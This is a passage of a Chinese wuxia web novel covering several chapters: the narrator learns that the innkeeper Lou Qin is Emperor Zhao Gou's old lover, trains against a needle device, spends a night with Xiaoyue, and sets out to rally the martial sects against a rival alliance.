过了许久,娄琴缓缓地说:“等着吧,总会有办法的。” 5. 我以为这场风波不会过去了。我以为这个江湖会在这场风波里走到末路。 绍兴十四年五月初。 我在武林盟中接到来自括苍派的传书。朝廷派往各大门派的十七路兵马,已尽数撤回。 这个江湖,安然无恙。 接到书信之后,我大喜过望。拿着书信,我跑到李小谦的跟前,说:“括苍派的书信,说朝廷已经撤兵了。” 李小谦却叹了口气,说:“你还是去谢谢娄姐吧,是她保住了这个江湖。” 我不明白。 我问李小谦:“什么意思?” 李小谦没有回答,他只是摇头,叹息。 我骑着马,赶到娄琴客栈。店里的伙计正在厅堂里忙碌着。他们看到我都是一副毕恭毕敬的模样,再也没有了往日亲密无隙的感觉。 我问:“娄姐在哪?” 店里的伙计也不回答,面露难色,似乎有什么难言之隐。 我感觉一阵愤怒,喝道:“娄姐到底在什么地方?” 他依旧没有回答,只是回头看了一眼娄琴的房间。我将它一把推开,快步走了过去。 明晃晃的太阳正在天上挂着,娄琴的房门紧闭。屋子里传来娄琴一阵阵的娇,喘。 我迟疑了片刻,还是轻轻叩响了房门。 房间里传来一声呵斥:“滚开!” 娄琴的娇,喘声更急。此外还有一个男子酣畅淋漓的爽呼之声。 店伙计跑过来拉着我,说:“快走吧,你不要命了?” 我问:“谁在里面?” 房间里忽然一片寂静。过了一会儿,房门吱呀一声打开,门口站着一个气度不凡的身影。 他盯着我的眼睛,锐利无比,让我的内心猛然震颤。失声叫道:“皇上!” (本章完) 第二卷 武林盟的开始与结局 第一百零六章 旧情 1 畜生!禽兽! 我强压着心里的怒火,瞪着眼前这个若无其事的皇上。他真的仿佛什么都没有发生过一样,问我“你怎么来了?” 这看似平淡的一问,却让我忍无可忍。他的平淡,让我怒火中烧。 我“铮”地一声拔出九郎剑,指着赵构,说“我要杀了你!” 赵构一怔,仿佛是没有听清楚一般。皱着眉头,问“你说什么?” 他刚问出口,我的剑却已经刺了出去,直直地刺向了赵构的咽喉。我要杀了他!他是皇上又如何?即便他是天王老子,也不能玷污了娄琴的清白。 九郎剑光彩夺目,红色宝石的光尤为耀眼,似乎也是感受到了我心里的愤怒。 赵构急忙向后退了两步,躲进房中。他将门顺手一推,门板挡在我面前。九郎剑“咔”的一声刺穿了厚实的门板之中。 这一击竟然没有刺中! 我攥着剑柄,用力往回撤,但九郎剑似乎卡在了门板上,任我如何用力却怎么也拔不回来。 赵构冷哼一声,说“你竟然用朕的剑来杀朕!是不是活得不耐烦了?!” 他的剑?! 这分明就是我的剑!是娄琴送给我的九郎剑! 我尚未来得及反应,赵构一脚踢来,正中我的腹部。他这一脚势大力沉,一股剧烈的疼痛骤然传遍我全身。我弯下身子,疼得几乎无法喘息。赵构接着又是一脚,直直地踹在我胸口处,我被他踢得连连退出十几步,喉咙一甜,一口鲜血“哇”地吐了出来。 赵构绕过房门,攥住九郎剑的剑柄,用力一抽。九郎剑发出龙吟一般的声响。赵构挥动九郎剑,剑气破空,发出“嗖嗖”的声响,剑光粼动,散发着绚丽的光芒。 只一眨眼见,赵构举着的九郎剑已经抵住了我的喉咙。 “住手!” 娄琴的身影出现在门口,她身影一晃,化作一道紫色光芒,闪到我的跟前,一只手已经死死地攥住了赵构举剑的手。 “九郎,你不许杀他!”娄琴脸色凝重。 九郎! 我心里一惊,猛然抬头,看着赵构。 我心里惊骇不已,娄琴叫他九郎!难道,他就是…… 而这时,赵构的眼里除了娄琴紫色的身影,已再容不下任何人。他的眼神极致温柔,我从来没有见过他曾有过这样的眼神。 赵构缓缓垂下举剑的手,他用另一只手撩起娄琴垂下的发丝,帮她顺到耳后,声音轻柔地说“你放心,我不会杀他的。” 娄琴脸色一片绯红,她轻轻推开赵构的手,伸手夺过他手里的剑。她说“不止现在,永远 也不许杀他。” “永远吗?”赵构皱了皱眉。 娄琴说“不错,永远!”她语气坚定,不给赵构丝毫余地,但她的声音却十分温柔,那是一种,我从来都没有听过的温柔。 赵构微微一笑,说“好,我答应你!” 这画面如此温腻可人,丝毫不像我想象的那样。我以为,娄琴为了帮我化解这场江湖风波,委身于这个蛮不讲理的皇上。 我说“你们这是”我胸部腹部连受赵构两脚,一开口,犹如五脏碎裂一般的疼痛登时让我喘不上气。 娄琴慌忙扶住我,她关切地问“你没事吧?” 我艰难地说“疼!” 娄琴眉头一皱,冲着赵构的小腿踹了一脚,嗔道“你竟然对他下这么重的手!” 赵构说“我也没想到白景行的弟子会这样脓包。” 娄琴又说“还敢说!你分明就是有意的!” 赵构嘿嘿一笑,全然没了九五之尊的威仪,在娄琴面前,他表现得就像娄琴客栈里的伙计,对娄琴的话几乎是言听计从。他说“你莫要生气,他过会儿就没事了。”说罢,他又板起脸冲我眨了眨眼睛,说“姬旦丙,朕说得是不是?!” 我忍着胸口的剧痛,说“不是,我还想吐!”说完,咽喉处热流上涌,又一口鲜血吐了出来。 2 九五之尊的皇上被愤怒地娄琴撵出了客栈。 娄琴用内力封住我胸口的几处穴道。虽然,被她封住穴道之后,有些胸闷头晕,感觉有气血瘀滞在头颅之中,无法散去。但胸口的疼痛着实减轻了不少。娄琴为我疗伤之后,胸闷之感渐轻,感觉周身气血稍稍通常。娄琴看了一眼已有些暗淡地天色,说“你能不能坚持?我送你回武林盟。” 我说“为什么要回去。今晚我就住在客栈里吧。” 娄琴说“万万不可。客栈里人多眼杂,我有伤在身,保护不了你的安全。” 我问“你哪里受伤了?” 娄琴说,前些日子有几个小毛贼在客栈里起了争执,她上前劝阻时,不小心让他们伤了肩膀。 我说“我自己可以回武林盟。” 娄琴不肯,她坚持要送我回去。 天未全黑,娄琴便命令伙计上板歇业。她让后厨的老张驾着马车,将我们二人送往武林盟。 站在武林盟的门口。 老张抬头看着武林盟的金字牌匾,喃喃地说“我记得这里是个寺庙,什么时候成了武林盟了?” 娄琴说“做好自己的事,不要问这么多。” 老张连连点头,将我扶下马车。刚踏 入武林盟的大门,我便赶紧东侧厢房里的人多了许多。一排屋子,灯火通明,每扇窗户的窗纸上都影影绰绰地五六道人影。 老乌推着一个李小谦为他特地打造的手推车。手推车与老乌齐高,一侧伸出两个把手,底下四道木轮子,中间五层木板上放满了各式各样的饭菜。 老乌扭头看见了我,停下手推车,向我走来。老张松开了我,眼睛直勾勾地盯着那个手推车,缓步向它靠近。 “大人,你这是怎么了?”老乌问。 “老板娘,这个物件不错!”老张扯着嗓子喊。 我说“我被人踹了两脚!” 娄琴喊“你记好样式,回去我们找木匠做一个。” “什么人狗胆包天,敢对大人动粗!”老乌怒道。 “好嘞!有了他,以后跑堂都不费力了。”老张兴奋地喊。 我说“是皇上踹的。” 娄琴喊“以后你来推着它跑堂!” 老乌和老张同时捂住了嘴巴。东侧厢房的门“哐啷”一声被推开了,一个壮汉站在门口大叫“老奴才,怎么还不送饭来?” 老乌连忙喊“各位大人久等了,老奴到了。”说罢,他转身要走。我一把拉住了他,强行提了口气,对着东厢房站着那个壮汉喊道“你算什么东西,在这里大呼小叫。” 那壮汉冷笑一声说“我们教训老奴才,你不要多管闲事!” 我还想与他们争执,但胸口的疼痛传来,让我再提不起大气。 老乌摇了摇,说“大人好意,老奴心领了。你还是赶快回去歇息吧。”说罢,他转身推着手推车,一步一步地向东侧厢房走去。 娄琴扶住我的手臂,看着东侧厢房的人影,说“你这个武林盟主便是这样当的吗?” 我说“我觉得很好。” 娄琴沉默了许久,说“走吧,我送你回房间休息。” 3 老乌是个老实本分的人。他自幼便进宫当了太监,伺候过前任两位皇上,还有一个当了一年不到的伪皇帝张邦昌。也正因如此,赵构从康王当上皇帝之后,老乌彻底失去了赵构的信任,在斗争激烈的宫闱之中,逐渐地被边缘化。熬到了这般年纪,皇后竟然下了一道恩旨赦他出宫。然而,在宫墙内过了一辈子,离开皇宫,老乌无处可去,几乎是死路一条。 落寞的老乌,本想离开皇宫之后便找一处山水丰美的宝地,掘三尺黄土,静静死去。但在离开宫门时,撞见了多年前相识的侍卫亲军马步军都指挥使萧伯仁,他不忍看到老乌孤独等死,便将他送到了柳无风那里安置。当时,柳无风正巧在重整禅慧 寺的院子,便将老乌安排在这里,成了我武林盟中的奴仆。 老乌从靖康年的那场灾难中死里逃生,见过了尸骸如山,烈火焚城的悲惨场面,两位皇帝,皇室女眷被金人糟蹋,掳掠。他常说,他如今能多活一个时辰,都是上苍的恩赐。他说,只要还活着,他便没有什么不能接受的。 人活着就好。 老乌的经历曾一度让我感慨万千。老乌对我悉心照料,自那时起,我视老乌为亲人。 自从李小谦回来之后,他时常捉弄老乌。他说,他还从来没有见过真的太监。说罢,他便要去脱老乌的裤子。 老乌佝偻着身子,跑不快,被李小谦抓住,强行脱了下来。老乌难为情地低着头,李小谦一阵长吁短叹之后,说“然也,大势已去!” 还有一次。李小谦在书房之中教我练字。他说,作为武林盟主,不仅要耍得好剑,更要写得好字。 老乌端着茶水点心走进来。李小谦笑着问“我兄弟这字写得怎么样?” 老乌笑着说“不怕大人笑话,老奴不识字。” 李小谦惊讶地问“你伺候过皇上的,竟然不识字?” 老乌说“老奴那时只伺候起居,伺候文墨有专门的小太监。” 李小谦撤出一张白纸,在上面写下“老乌”两个字。问“这个认识吗?” 老乌看了一眼,指着那个“乌”字说“这是老奴的姓氏。” 李小谦狡黠地笑了笑,在后面又添了一个“龟”字,问“这个字你认得吗?” 老乌忽然眉头一皱,但随即展开,笑着说“老奴不认得了。” 李小谦狐疑地看着老乌,缓缓地点头,说“原来如此。” 4 当夜,娄琴将老张打发走,自己并没有回客栈。 我让老乌收拾了一间厢房,让娄琴住下。小月听闻我受伤,急匆匆地跑到我屋里,怒气冲冲地问“是谁伤了你?” 我说“是皇上。” 小月一怔,问“你因何事惹了皇上?” 我看了一眼娄琴,娄琴慌忙对小月说“小月,他没事,你先回去吧,我有话要给他说。” 小月看着我,有些迟疑,但她还是点了点头,走了。 我站在窗前,抬头看着天空。清辉如银,皓月千里。一阵风吹来,卷进几粒沙尘,我眯起眼睛,扭过头去躲避。却正好看见娄琴正站在我身后,她静静地端望着窗外的风景,月光照进窗沿,勾勒出她清丽的脸庞。 这一幕,似曾相识。 两年前,我与李小谦辞行前往少林时。在娄琴客栈,她赠予我九郎剑的场景,也是去今 天这样的夜晚,她现在我身后。看着窗外的夜景。 只是那日是圆月,而今日是缺月。 我说“娄姐,你和皇上是……” 娄琴说“他就是我一直要等的人。” 我不解,问“你在临安府这么多年,为什么不去找他?” 娄琴说“我十六岁那年便认识了他。后来,他执意要回去做皇帝时,曾说过要带我进宫。可是我过惯了自由自在的日子,不愿深入皇城,做一只笼中金雀。既然他执意要走,我不拦他,但我确也不愿意再见他。” 我依然不能明白,问“为什么?为什么就不可以见他?” 娄琴说“我曾经想,如果他属于我,他便不会离开。如果他离开了,那他便不再属于我。” 我问“他是什么时候做的皇上?” 娄琴说“十七年前。” 十七年! 我说“你十七年都没有再见过他吗?” 娄琴说“不是。其实……一年多前,我曾找过他,为了白前辈做了武林盟主的事。你们都不了解他,他这一生将大宋江山看得很重。他决不允许有什么可以威胁到朝廷的稳固。这个江湖,是他最忌惮的事。所以,今日的局面,才是他最喜欢看到的。” 我说“我还是不明白。” 娄琴说“我一生不愿求人,他曾对我说过,这一生只对我一人有求必应。旦丙,你这次犯的错虽然并不是什么罪大恶极的事,但是却的确让整个武林陷入了被动。所以……” 我问“所以什么?” 娄琴说“你走吧!找个地方躲起来,永远都不要再涉足江湖上的事。这个武林盟主本来就不是你可以做的。” 我心里一阵难过,原来,在娄琴的眼中,我根本做不了这个武林盟主。 我说“不!我不走!” 娄琴问“为什么?” 我说“我要让全部瞧不起我的人看看,我是真正武林盟主!”这句话说完,我迟疑了片刻,还是补充了那句“也包括你!” 说完,我不顾娄琴的反应,摔门而出。走出房门,月色高悬,夏日临近,夜间的空气已经有了许多暖意。 我心里又紧张又气愤。竟然连娄琴都瞧不起我!我偏偏要做给他们看看。 走了两步,我忽然发觉有些不对劲。我回头一看,自己竟然从自己的房间里摔门跑了出来。 我咬咬牙又走了回去。推开房门,娄琴依旧站在窗前。她见我回来,先是一怔,问“你怎么又回来了?” 我说“这是我的房间!该走的是你!” 娄琴微微一笑,摇了摇头,说“ 你永远都是这个样子。” 娄琴走了。她掩上房门,屋里只剩我一人。 在这片空荡荡的房间里,我感受到的并不是孤独。而是愤怒,充斥了整个房间里的愤怒。 皇上,就是娄琴心里的九郎。 他才是娄琴一直等待的那个人。 不知为什么,我的心里又苦又涩,我想起客栈里的那一幕。在阵从娄琴房间里传出来的娄琴的娇,喘之声。我心里莫名的愤怒。 6 次日,清晨。 我决定还是要与娄琴道谢。毕竟,她化解了这场江湖风波。身为武林盟主的我,理应代表这个江湖,表达谢意。 我轻轻叩响房门。 娄琴的房间里,静悄悄的,没有一丝声响。 我说“娄姐,我进来了。” 没有回应。我伸手推开房门,屋里面是一片空空荡荡。 老乌从门口路过,对我说“大人,她昨夜便走了。” 我一阵茫然。 她为什么会连夜离开? 李小谦匀速跑了过来,嘴里喊着“一二一,一二一……” 他看见我和老乌,停止前进,但还是在原地保持着跑步的动作。他说“早啊!跟我一起晨练吗?” 我说“娄姐走了。” 李小谦并没有一丝的惊讶,他淡定地说“我知道啊。昨天晚上,娄姐有的时候跟我打过招呼了。” 我说“她去哪里了?” 李小谦停下脚步,走到我跟前,调整着呼吸,说“旦丙啊,你要知道,久旱逢甘霖,这是一件没完没了的事情。” 我不解,问“什么意思?” 李小谦伸出手比划了半天,脸扭成一团,憋得通红,却一个字也没说出来。他长叹了一口气,说“旦丙,如果好几天不让你吃饭,然后给你一个馒头,你觉得够吗?” 我说“不够!” 李小谦点着头,说“唉…你明白就好!”说罢,他继续踏着均匀的步子,慢慢地跑开了。 我怔怔地看着李小谦,仍旧是一片茫然。 他到底是什么意思? (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百零七章 铁剑 1. 天下没有无敌的剑招,却有无敌的剑客。 无论是多么厉害的剑法招式,都会有破绽。世间没有完美的剑法,即使一种剑法破绽百出,若不能被敌手所捕捉,那就是没有破绽。 而不被敌手捕捉到破绽的唯一方法便是,你的剑,足够快! 这是幼年学剑时,八茅师父曾对我们兄弟四人说的话。 他虽然不是什么绝顶高手,但他却是一个剑客。即使这个剑客的剑法并不那么厉害。 八茅师父曾说,他深谙剑术之道,天下少有人及。 我问他,为什么你的剑法却这么普通? 八茅师父说,业精于勤荒于嬉。他便是整日嬉皮笑脸,所以才没有练好剑法。 因此,自幼时起,他教我们练剑时唯一的要求便是,不许笑。 纵使这样,我们依然没有练好剑法。 我将那个伤痕累累的竹筒挂在树上,扣动机括,退至三尺之外。 银针飞射,如暴雨,如流星。我挥剑抵挡着流星暴雨一般打来的银光。 “叮叮”的声音不断传来。 九郎剑在我手中挥舞得几乎成了一道闪亮的盾。 第六十七根。 我根本没有看到任何的光亮,只觉得一侧的肩膀上的一点,被一股极大的力道戳中,让我半边身子猛地向后一挫。随之,肩头剧痛,几乎半片身子都麻木了。 我蹲下身子,揉搓着肩膀的伤口。说是伤口,其实也算不得伤口。 发丝一般粗细银针射穿肩膀,留下一个如同小米粒般大小的红点。也不出血,只是剧烈的疼痛。 不知什么时候,李小谦走了过来。他摘下树上的竹筒,在手上来回翻看,他说:“这就是白景行给你的宝贝儿?” 我说:“是。” 李小谦问:“就用这东西练绝世剑法?” 我说:“不错。他说,要我接住一百一十三根银针,就能练成像他那样的剑法。” 李小谦将竹筒在手上摆弄了一番,说:“这还不容易。别说一百一十三根,就是一千一百三十根也不在话下。” 这怎么可能?! 李小谦的话让我震惊不已。我如此艰难地练了这么久,忍受了无数次银针刺穿肩头的剧痛,才勉强接住六十几根。他第一次见这竹筒,竟然如此轻松地说,他可以接住一千多根! 是他真的懂得什么绝世无双的剑法,还是我从始至终都练错了? 我说:“这不可能。” “这有什么不可能的?”李小谦将竹筒重新挂在树上,向后退了几步,两只手拇指与食指对在一起,呈一个菱形,对着那个竹筒瞄了 瞄,一边比划着,一边说:“你需要一把趁手的兵器。” 我端起九郎剑,看了看,护手上的宝石光彩夺目,剑刃上每一寸都闪烁着锋利的光芒。我说:“九郎剑就很趁手!” 李小谦说:“这个不行,它太窄了!” 我不解,问:“什么意思?” 李小谦拖着长音,说:“这个......暂且保密!” 2. 过了晌午。李小谦抱着一个两尺有余,又宽又扁的木盒子回来了。 他拉着我,神神秘秘地说:“去试试这个。” 我问:“此为何物?” 李小谦说:“趁手的兵器。” 我大喜过望,心想,莫非他真的可以找到助我成功的兵器吗? 那这兵器,岂不是天赐神兵,绝世宝物! 我小心翼翼地帮着李小谦将木盒抬到后院。抚摸着木盒,我仿佛已经感受到这木盒之中传出一股暖暖地气流。 这股气流透过木盒传入我的掌心,然后游遍我的全身。 我说:“我已经感受到了。” 李小谦问:“你感受到什么了?” 我说:“它发出的力量。我感觉,很热。” 李小谦笑了笑,说:“那是自然了,西湖东边打铁的老王刚打出来的,还没冷却好我就让他给我打包了,估计这会儿直接摸还烫手呢!” 什么?! 我说:“这不是绝世宝物吗?怎么是西湖东边打铁的老王打的?” 李小谦打开木盒的盖子。木盒里躺着一块乌黑的铁剑。 这算是剑吗? 与其说它是剑,倒不如说是一块和剑形状差不多的黑铁。一块淬火冷却之后,未经打磨的铁片儿。铁片儿的一端磨出一个随意的剑尖儿,另一端收窄,中间夹了两块木头片儿,大致看起来,是有个剑的模样。 唯一不同寻常的是。这剑的剑刃也太宽了些。 我将手放上去比划了一下,果然,触手仍旧滚烫。那剑刃足足有两只手掌那么宽。 我说:“这也太宽了。” 李小谦说:“宽了好!要的就是这个宽度!” 我不解,问:“这跟我要练的剑法有关系吗?” 李小谦说:“它肯定能帮你接住几百上千根银针!” 真的吗? 我仍旧不敢相信。李小谦让我把竹筒挂在书上,他掏出两块碎布,缠住剑柄,站在距离竹筒大约三尺的地方,将铁剑横在胸前。 “开始!”李小谦喊了一声,我立时扣动机括。 银光一闪,“叮”的一声,银针打在铁剑的剑刃上。随即,又一根银针射出,“叮”的一声,打在剑刃 上。 李小谦始终保持着一个姿势,那柄剑横在他脖颈之下,宽厚的剑刃一直护到他的肋下。 银针如雨,密集地射在剑刃上。 李小谦举着剑一动不动,嬉皮笑脸地冲着我喊:“怎么样?这把剑趁手吧?” 不知道是第多少根银针,总之有几百根。 我已经全然看不清银针是怎么飞射出去的,只看见乌黑的铁剑上不停地闪烁着银光,如同密集的雨点滴入池水一般,铁剑上一片欢腾景象。 我这时才意识到自己又被李小谦给耍了。 李小谦收起长剑,躲到一旁。问:“怎么样?” 我故意阴沉着脸,也表示我的不满,说:“不怎么样!” 李小谦哈哈大笑,他讲手中的铁剑咣啷一声扔在地上,两块木头当时被摔断,那柄铁剑便彻底成了一块乌黑的铁片。 竹筒依旧在树上挂着,此时已恢复了平静。 小院里只有我和李小谦两人。他的笑声久久在这里回荡。 这样的场景竟已是许久未见。 (本章完) 第二卷 武林盟的开始与结局 第一百零八章 初夜 1. 绍兴十五年,五月初五。 我永远无法忘记这个日子。 如果我这一生所有回忆的章节里满是痛苦与怅然,那么这一日,便是我后来无尽痛苦的思绪里少有能让我感到些许幸福的一章。 在我的回忆里。这一夜,月光很美。 美得迷人,美得足以让人忘记所有的烦恼,放空所有的思绪,只静静地看着美好的月光。 已是深夜。所有的人都睡了。 连夜间聒噪的虫鸟也渐渐平静,仿佛是睡着了。 武林盟的院子里一片寂静。 “傻子!”小月如银铃一般的声音在我身后传来,“这么晚了还不睡,在这里做什么呢?” 我回头去看。 月光柔和,佳人秀丽。 我说:“你不是也没有睡?” 小月微微一笑,说:“我睡不着。” 我说:“我也是。” 小月抬头看着夜幕,她明媚的眼眸中映着明媚的月光,清风拂过她的脸庞,几缕丝发贴在她白里透红的脸颊上,长长的睫毛微微地颤动着。那嘴角上轻轻扬起的笑意,如同十里春风一般让人心醉神迷。 我看得痴了,她低下头看我时,我仍旧痴痴地看着她,浑然未觉。 小月说:“你看什么?” 我痴痴地看着,不受控制地脱口而出:“好美!”话说完,我才醒觉。当即心中一片慌乱,低下头,不敢再看小月一眼。 小月噗嗤一声笑了。 那笑声,如深潭荡起微澜,在幽谷之中空灵地回荡声。 她拉住我的手。她的手滑若凝脂,却有些冰凉。 小月拉着我纵身一跃,带我飞上屋檐。我脚步不稳,险些跌下去。小月牢牢地拦住我的腰,她的脸几乎要贴在我胸口上,她身上的香气,从未如此浓郁清晰。 我心里一阵躁动,已经好多年没有一个女人这样贴着我的身子了。我站稳脚跟,想将小月推开。被她这样抱着,我实在是心绪难宁。【!爱奇文学¥最快更新】 小月却抱得我更紧了,她说:“别动,我怕高!” 我说:“我也怕高。你带我下去吧。” 小月忽然松开我,挺直了身子,瞪着眼睛,向我肩头一推,喊道:“下去吧!” 她这一推虽然不用力,却因我原本脚跟未全站稳,加之全身紧张,一阵摇晃之后,竟然真的掉了下房檐。 从高处坠下的感觉,犹如在水面上漂浮着,向深处下沉。落地的一瞬间,整身子如同遭受重击,没有太多痛苦,整个人都懵掉了。 我感觉灵魂离开了肉体。灵魂在空中漂浮着,肉体一阵麻木。 灵魂缓缓地向下沉 ,在进入肉体,彻底昏迷之前,我看到一道模糊的白影从高处徐徐落下。好像是从云端落去凡间的仙女。 “美!太美了!” 我喃喃地念着,渐渐失去了意识。 2. 红烛昏黄,青布罗帐。 我感觉头部一阵疼痛,如同要爆裂掉一般。睁开眼睛,一切皆是模模糊糊,朦朦胧胧。 这是哪里? 是雁荡山吗?恍惚间,我感觉自己回到了雁荡山上,这里好像是赵小娥的房间。 一个模模糊糊地人影在我眼前晃来晃去。我感觉,她好熟悉,却怎么也看不清她的脸。 她是谁? 是赵小娥吗? 一定又是在梦里。 我勉力地伸出手,摸了摸后脑,又是一阵剧烈的疼痛。 “你醒了?你怎么样了?” 一只柔软却有些冰凉的手划过我的额头。我攥住那只手,它如此真实,比我以往的任何梦境都要真实。但是,赵小娥的脸却依旧很模糊,比以往任何梦境都要模糊。 我说:“对不起,都是我不好。” 这是我第一次说出这句话。我应该为她的死道歉。 她依然很模糊。她仿佛是在摇头。 仿佛是下雨了,我感觉一滴温热的水珠滴落在我的脸上。 人的梦境果然奇特。信马由缰,无所不及,就连梦到躺着床上睡觉,都能下起雨来。 赵小娥缓缓弯下身子,她将脸贴在我的胸口。我闻到她秀发里透出的幽香。那香味让我更加迷离,鬼使神差地两手伸到她的脸颊,伸到她的香颈,伸向了她的胸口…… 一片滑如凝脂的肌肤再次贴合着我的毛孔,红烛滴落,床帷轻颤,一夜缠绵。 直到我累得连动弹都动弹不得了,我才喊着一声她的名字,翻身沉沉地睡去。 3. 第二天一早。 我睁开眼睛看到的第一个人竟然是李小谦。 他一脸淫邪地笑着,趴在我的床边看着我,眼神十分怪异。 我说:“你看什么?” 李小谦啧啧两声,说:“艳福不浅啊!” 我不解,问:“什么意思?” 李小谦低下头,像狗一样在我的被褥上闻了闻,说:“还装!你闻闻,整个屋子里都是小月的体香!你们昨天晚上做什么了?从实招来!” 我一惊,猛然坐了起来,被子从我身上滑落,我才发现自己竟然是一丝不挂! 我四处摸索,叫道:“我的衣服呢?” 李小谦将一只手伸到床下,掏出我的衣服,举起来在我脸前一晃,一脸淫邪地说:“春宵一刻,滋味如何啊?” 我伸手去夺我的衣服,李小谦向后一缩,忽然,衣服中有亮光一闪,一只亮晶晶的水晶簪子从我的衣服中掉了下来。 我将那簪子捡起来,捧在手中。 这是小月的簪子! 我这才想起昨夜经历的一切。那不是梦,那是真实发生了的事情! 既然不是梦,那模糊的身影也定期不是赵小娥。 而是,小月! 我顿时犹如遭受晴天霹雳。我恨不得一剑杀了自己!我问:“小月呢?” 李小谦四处看了看,说:“你问我?我怎么知道啊!我一进门就闻见满屋子的香味儿,你自己光溜溜地躺在床上。” 糟了! 一定是我昨夜轻薄了小月。她一定会恨死我的! 我慌乱地穿上衣服,出门寻找。 我跑遍了整个武林盟的院子,找遍了没一个房间,甚至连厕所都找过了。 然而,根本没有小月的身影。 她一定是恨死我了。 我想着,心中无比凄凉。 我落寞地回到自己房间。老乌正在那里收拾着我的被褥。他或许是听到了我的脚步声,连忙转过头来,眉眼中皆是喜悦。 “恭喜大人,贺喜大人!”老乌莫名其妙地向我道喜。 我说:“恭喜我什么?” 老乌一怔,忽然笑了。他转过头去看向那半面摊开的被褥。 浅色的褥面儿上,正盛开着一朵如石榴花一般的嫣红。 (本章完) 第二卷 武林盟的开始与结局 第一百零九章 南华 1. 绍兴十四年,五月间。 江湖传言,李莫残与诸葛暮云因刺杀绍兴知府一事,被逼自杀。而逼死这两人的罪魁祸首,乃是新任的武林盟主姬旦丙。 江湖之上,叫骂声甚上尘嚣。 有人背地里拿我的名字做文章,借此发泄不满情绪。江湖上有头有脸的人物皆有绰号。在江湖上有一个人尽皆知的绰号,往往也是江湖地位的体现。 比如白景行,他的绰号是酒剑仙。字里行间,反映了他的所长与所好,颇为响亮。 再比如,陈伯洋。他的绰号是金丝刀神。他那一柄缠满金丝的海皮刀,光彩夺目,他的海皮刀法威力无穷,故而有了刀神的绰号。 可是我呢。江湖上的人叫我一盘好菜!武林盟主,一盘好菜!渐渐的,他们或许觉得这个绰号太过于繁琐,于是开始简称,好菜。后来,干脆叫菜。 一日,我在临安府一家酒楼吃饭。与几个鲁莽的汉子起了冲突。我愤怒之下亮明了身份,我说,我是武林盟主,并掏出了江湖已妇孺皆知的九郎剑作为证据。 他们看到九郎剑,果然对我毕恭毕敬地行礼,说:“蔡盟主,我们有眼不识泰山……” 我欲哭无泪,在内心里狂叫,老子姓姬不姓蔡! 对我不满的人,数不胜数。 尤其是双刀门,残云二人师出于此,他们与这两个人的有着更加深厚的情感。五月中,管天下千里寄书,送我“此仇不报”四个大字。 我端着那张纸细细琢磨,越是琢磨,越是茫然。 我问柳无风,他是什么意思? 柳无风看着那封信,也是疑惑不解。他说:“很难琢磨。” 李小谦说:“这有什么不理解的,此仇不报,誓不为人嘛。这意思很明白了,这是公然向你挑衅!” 我沉吟片刻,当即提笔写下“来者不惧”四个大字,命人千里寄回。 柳无风脸色担忧,他说:“万一他不是这个意思呢?或许,他寄这几个字不过是为了试探你的态度。” 我想起以往管天下对我态度,我对这个人想来没有什么好感。我说:“他一定不是,他就是要向我挑衅!” 七天后,我再次收到了管天下的回信。 “本欲放下,奈何紧逼,既然如此,休怪无情!” 我说:“他这是什么意思?” 柳无风说:“你中了那老家伙的奸计。他有意将一封很有歧义的信寄给你,一则是试探你的态度,二则是为他自己开脱。” 我说:“我还是不明白。” 柳无风向我解释:“若你回信致歉,并说明残云之死非你有意为之,或 许他便无计可施。因为,这场江湖的风波的确是因他二人刺杀绍兴知府而起,又因他二人自杀身亡而终,其中曲折原委,江湖上的人不会知道。但你却回了那样一封信,今后他公然找你报仇之时,大可以说他本意向你表明放弃此仇,是你公然挑衅,步步紧逼,他忍无可忍才找你寻仇的。” 管天下! 我对这个人的恨意,又多了几分。 2. 一波未平,一波又起。 绍兴十五年五月六月之间,一件大事,惹得风满江湖。 管天下联合汀泉派伍黑龙、阔刀门陈大刀,公开反对武林盟。他们联合福建、广东一带的一些小门小派,成立闽广江湖同盟,以管天下为盟主,并向各大门派发英雄帖,煽动各大重新召集武林大会,择立新的武林盟主。 接到消息后,我内心一片凄凉。 若管天下真的重新召集武林大会,那么,我这个武林盟主之位,只怕是岌岌可危。 我再次找到柳无风商议,希望他可以帮我化解此事。 柳无风一派强硬作风,说:“我这就去向皇上请命,亲率三万大军,扫平这群贼寇!” 那岂不又是一场腥风血雨? 我说:“不可以!” 柳无风说:“他们公然反叛,这还有什么好说的?” 我看着李小谦,向他求助。李小谦摇头叹息,说:“武力能解决的问题,智力也能解决!” 我大喜,说:“你有办法?” 李小谦说:“团结各大门派,孤立他们,然后再与管天下谈判。” 我说:“我要怎么做?” 李小谦说:“我们立刻出发,拜访十大门派掌门。一则是试探他们的口风,了解他们对管天下的态度,二则是坚定他们的信念,让他们不被管天下策反,从而孤立管天下。” 柳无风不屑地说:“何须如此大费周章?三万精兵,足以让这群贼寇闻风丧胆。” 我答应过陈伯洋,要力保这个江湖无虞。即便是我十分厌恶管天下,但他毕竟是这个江湖武林的一部分。 柳无风的办法,我不能接受。 我说:“我们这就动身,去拜访十大门派。” 李小谦一脸兴奋,说:“好!我们这就走!” 柳无风抱着刀,说:“你们先去,我随后就到!” 3. 我不知道柳无风到底去了哪里。他急匆匆地离开了。 李小谦看着他驾马离去的背影,眼神有些迷离,忽然他冷冷一笑,说:“这个傻子,他也不问我们去哪里,随后到个屁。” 我一怔,说:“对啊!我们先去哪里?” 李小谦说:“你是武林盟主,你说了算。” 我十分为难。说心里话,这十个门派,我哪个都不愿去。总觉得这些江湖上的掌门,性格古怪,不好相处。 我说:“抓阄吧!” 李小谦当即拍手,说:“好主意!” 地上摆了十个纸团,每一个纸团上写着一个门派的名字。李小谦将纸团一个个的捡起来,在手里摇了摇,向上一扬。十个纸团如同天女散花一般,散在地上。 李小谦说:“挑一个吧。” 那时的我并不知道,这一次拜访十大门派,将改变许多人的命运。也正是因为这次出行,让我得以一一见证了,原本应是刀光剑影的江湖,原本应是仗剑豪情的江湖,到底变成了怎么一个样子。 我随手拾起一个纸团,打开一看。心里登时一紧,念道:“南华!” 4. 南华派。位于江西路。山高数百尺,巍峨险峻,古木参天。曾经一度是草莽匪类落草的好去处。 一百多年前,宋中名将,杨家六郎延昭受蒙,荒废军务,被真宗告诫。一代名将,晚年失势,含恨而终。 他的次子德政,脱离朝堂,遁入江湖。在江西路南华山上,收拾盗匪,成立了南华派。以一套变化莫测,威力绝伦的枪法名震江湖。 杨家的枪法在南华派代代相传,却越传越走样儿。 相传,杨德政创立南华派时,所使的正宗杨家枪法,若舞梨花,出神入化。进其锐,如白蛇吐信,退其速,如蛟龙如水。扫枪起来,更如狂风摆柳,威力无穷。 